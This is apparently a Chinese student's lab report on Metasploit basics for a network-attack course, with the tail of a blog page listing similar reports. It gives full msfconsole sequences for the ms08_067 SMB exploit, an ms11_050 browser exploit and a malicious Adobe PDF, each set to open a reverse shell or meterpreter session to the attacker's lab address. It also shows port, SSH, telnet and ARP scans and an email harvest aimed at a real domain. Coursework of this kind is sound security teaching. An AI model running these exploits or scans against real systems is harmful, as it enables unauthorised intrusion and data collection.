20155333 《网络对抗》 Exp5 MSF基础应用
20155333 《网络对抗》 Exp5 MSF基础应用
基础问题回答
用自己的话解释什么是exploit,payload,encode
- exploit:攻击手段,是能使攻击武器(payload)的方法;
- payload:攻击武器,真正具有攻击性的代码;
- encode:编码方式,根据payload将要被放置的环境选择合适的编码方式,使它能够正常的运行。
实践
一个主动攻击实践,如ms08_067
①攻击机:kali ②靶机:windows XP SP3(English)
在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf > use exploit/windows/smb/ms08_067_netapi
//使用ms08_067漏洞,use后其实是漏洞所在目录路径名
msf exploit(ms08_067_netapi) > show payloads
//显示回连攻击载荷
msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp
//tcp反向回连
msf exploit(ms08_067_netapi) > set LHOST 192.168.43.146
//攻击机ip
msf exploit(ms08_067_netapi) > set LPORT 5333
//攻击端口
msf exploit(ms08_067_netapi) > set RHOST 192.168.43.18
//靶机ip,特定漏洞端口已经固定
msf exploit(ms08_067_netapi) > set target 0
//自动选择目标系统类型,匹配度较高
msf exploit(ms08_067_netapi) > exploit
//攻击
建立会话,攻击成功结果如下:
一个针对浏览器的攻击,如ms11_050
①攻击机:kali ②靶机:WindowsXP Professional sp2/Windows7专业版 ③IE版本:7.0/8.0
在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf > use windows/browser/ms11_050_mshtml_cobjectelement
//使用浏览器ms11_050漏洞
msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http
//http反向回连
msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.43.146
//攻击机ip
msf exploit(ms11_050_cobjectelement) > set LPORT 5333
//攻击端口固定
msf exploit(ms11_050_cobjectelement) > set URIPATH 5333rh123
//统一资源标识符路径设置
msf exploit(ms11_050_cobjectelement) > exploit
在浏览器输入http://192.168.43.146:8080/5333rh123,IE出现数据执行保护弹窗和警告弹窗,遇到问题需关闭程序:
修改Internet的安全设置后仍旧失败了!
一个针对客户端的攻击,如Adobe
①攻击机:kali ②靶机:windowsXP Professional sp2 ③Adobe版本:9.3
在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf > use windows/fileformat/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
//tcp反向回连
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.199.170
//攻击机ip
msf exploit(adobe_cooltype_sing) > set LPORT 5333
//攻击端口
msf exploit(adobe_cooltype_sing) > set FILENAME 20155333.pdf
//设置生成pdf文件的名字
msf exploit(adobe_cooltype_sing) > exploit
//攻击
成功生成20155333.pdf:
将pdf文件传送或拷贝到靶机上后,在kali上输入back退出当前模块,进入监听模块,输入以下命令:
msf > use exploit/multi/handler
//进入监听模块
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
//tcp反向连接
msf exploit(handler) > set LHOST 192.168.199.170
//攻击机ip
msf exploit(handler) > set LPORT 5333
//攻击端口固定
msf exploit(handler) > exploit
然后在靶机上打开20155333.pdf文件
连接失败 ,大概是因为我下载的是Abode Reader XI,已经没有漏洞了。
成功应用任何一个辅助模块
可以使用命令msf > show auxiliary
查看所有的辅助模块:
一、扫描端口
msf > use auxiliary/scanner/portscan/syn
//使用portscan模块
msf auxiliary(syn) > show options
msf auxiliary(syn) > set RHOSTS 192.168.199.140
//目标
msf auxiliary(syn) > set THREADS 50
//线程
msf auxiliary(syn) > exploit
二、ssh服务器扫描
msf > use auxiliary/scanner/ssh/ssh_version
//使用ssh_version模块
msf auxiliary(ssh_version) > show options
//查看选项
msf auxiliary(ssh_version) > set RHOSTS 10.107.100.0/24
//目标网段
msf auxiliary(ssh_version) > set THREADS 50
//线程
msf auxiliary(ssh_version) > exploit
三、telnet服务器扫描
msf > use auxiliary/scanner/telnet/telnet_version
//使用telnet_version模块
msf auxiliary(telnet_version) > show options
//查看选项
msf auxiliary(telnet_version) > set RHOSTS 10.180.100.0/24
//目标网段
msf auxiliary(telnet_version) > set THREADS 50
//线程
msf auxiliary(telnet_version) > exploit
四、搜索网站中的Email地址
msf > use auxiliary/gather/search_email_collector
//使用search_email_collector模块
msf auxiliary(search_email_collector) > show options
//查看选项
msf auxiliary(search_email_collector) > set DOMAIN baidu.com
//扫描目标
msf auxiliary(search_email_collector) > exploit
五、扫描局域网有多少主机存活
msf > use auxiliary/scanner/discovery/arp_sweep
//使用discovery/arp_sweep模块
msf auxiliary(arp_sweep) > show options
//查看选项
msf auxiliary(arp_sweep) > set RHOSTS 10.180.100.0/24
//目标网段
msf auxiliary(arp_sweep) > set THREADS 50
//线程
msf auxiliary(arp_sweep) > exploit
尝试利用ms11_006_createsizeddibsection漏洞进行攻击
实验总结与体会
这次实验的过程可以说是很艰难了,即使参考了学长和其他同学的博客,依旧没能成功做完所有实践,希望能够改进吧。
20155333 《网络对抗》 Exp5 MSF基础应用的更多相关文章
- 2018-2019 20165237网络对抗 Exp5 MSF基础应用
2018-2019 20165237网络对抗 Exp5 MSF基础应用 实验目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如 ...
- 2018-2019 20165221 网络对抗 Exp5 MSF基础
2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...
- 2018-2019 20165235 网络对抗 Exp5 MSF基础
2018-2019 20165235 网络对抗 Exp5 MSF基础 1. 实践内容(3.5分) 1.1一个主动攻击实践 攻击方:kali 192.168.21.130 靶机: win7 192.16 ...
- 2018-2019 20165220 网络对抗 Exp5 MSF基础
实验任务 1.1一个主动攻击实践,如ms08_067; (1分) 1.2 一个针对浏览器的攻击,如ms11_050:(1分) 1.3 一个针对客户端的攻击,如Adobe:(1分) 1.4 成功应用任何 ...
- 2018-2019 20165219 网络对抗 Exp5 MSF基础
实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实践,如ms08_067; (1分) 1.2 一个针对浏览器的攻击,如ms ...
- 20145338 《网络对抗》 MSF基础应用
20145338<网络对抗> MSF基础应用 实验内容 ·掌握metasploit的基本应用方式,掌握常用的三种攻击方式的思路. 具体需要完成(1)一个主动攻击;(2)一个针对浏览器的攻击 ...
- 20145308 《网络对抗》 MSF基础应用 学习总结
20145308 <网络对抗> MSF基础应用 学习总结 实验内容 掌握metasploit的基本应用方式,掌握常用的三种攻击方式的思路.具体需要完成(1)一个主动攻击,如ms08_067 ...
- 20145326蔡馨熤《网络对抗》——MSF基础应用
20145326蔡馨熤<网络对抗>——MSF基础应用 实验后回答问题 用自己的话解释什么是exploit,payload,encode. exploit:起运输的作用,将数据传输到对方主机 ...
- 20155218《网络对抗》MSF基础应用
20155218<网络对抗>MSF基础应用 实验过程 1.一个主动攻击实践,如ms08_067; 首先使用 search ms08_067查询一下该漏洞: show target 查看可以 ...
- 20155304《网络对抗》MSF基础应用
20155304<网络对抗>MSF基础应用 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实践,如ms08_ ...
随机推荐
- MVC与单元测试实践之健身网站(二)-管理员模块
开始动手做这个项目时,发现无法做到完全的先设计.再编码,于是决定分模块进行,从管理员模块开始设计.编码,而且接口就已经改了好几次了. 管理员模块涉及的功能有登录和后台对管理员的维护,其中也涉及前端的开 ...
- 学习MVC之租房网站(一)-项目概况
这儿的MVC是ASP.NET MVC,只用过C#一种语言,后面就直接称呼为MVC了. 一年多没接触MVC后,现在想用MVC做个网站,觉得特别吃力,以前学的仅仅是皮毛,所以闲置了一年后,MVC知识就重新 ...
- 2018-10-16 22:56:13 c language
2018-10-16 22:56:13 c language 我们把上面的步骤总结一下,可以发现一个完整的编程过程是: 编写源文件:这是编程的主要工作,我们要保证代码的语法 100% 正确,不能有任何 ...
- 完美实现Android的屏幕常亮功能
笔者所在公司做的APP是股票类的,用户在查看股票报价页面的时候,往往需要开启盯盘模式,这个时候屏幕是不能黑屏的,黑屏会导致用户看不到一些关键报价涨跌,错过了买入卖出的最佳时机,就会给用户造成损失,这是 ...
- Todolist分别用React与Vue的实现与思考
源码查看: React 版的TodoList=> 点击跳转 Vue 版的TodoList=> 点击跳转 用React实现的思路: React使用注重的思想是少用state,纯函数实现功能思 ...
- Python笔记(五):异常处理和数据存储
注:和上一篇有关联 (一) finally 和 输出异常信息 try: the_man = open(r'C:\Users\123456\Desktop\test.txt') ...
- 单元测试,模拟用户Get登陆,并携带登录后的token访问接口
HttpClient _httpClient; HttpClient _businessHttpClient; private async Task<string> GetAccessTo ...
- 在 Azure VM 中使用应用商店映像创建 HPC Pack 群集的头节点
使用 Azure 应用商店和 Azure 门户中的 Microsoft HPC Pack 2012 R2 虚拟机映像创建 HPC 群集的头节点. 此 HPC Pack VM 映像基于预安装了 HPC ...
- sudo控制权限简单用法介绍
为了安全及管理的方便,可将需要用root权限的用户加入到sudo管理,用root的权限来管理系统.利用sudo控制用户对系统命令的使用权限. 普通用户可以查看,但不能删除: 但是在/tmp公共环境下可 ...
- linux date 简单介绍
用法:date [选项]... [+格式] 或:date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]] 以给定的格式显示当前时间,或是设置系统日期. - ...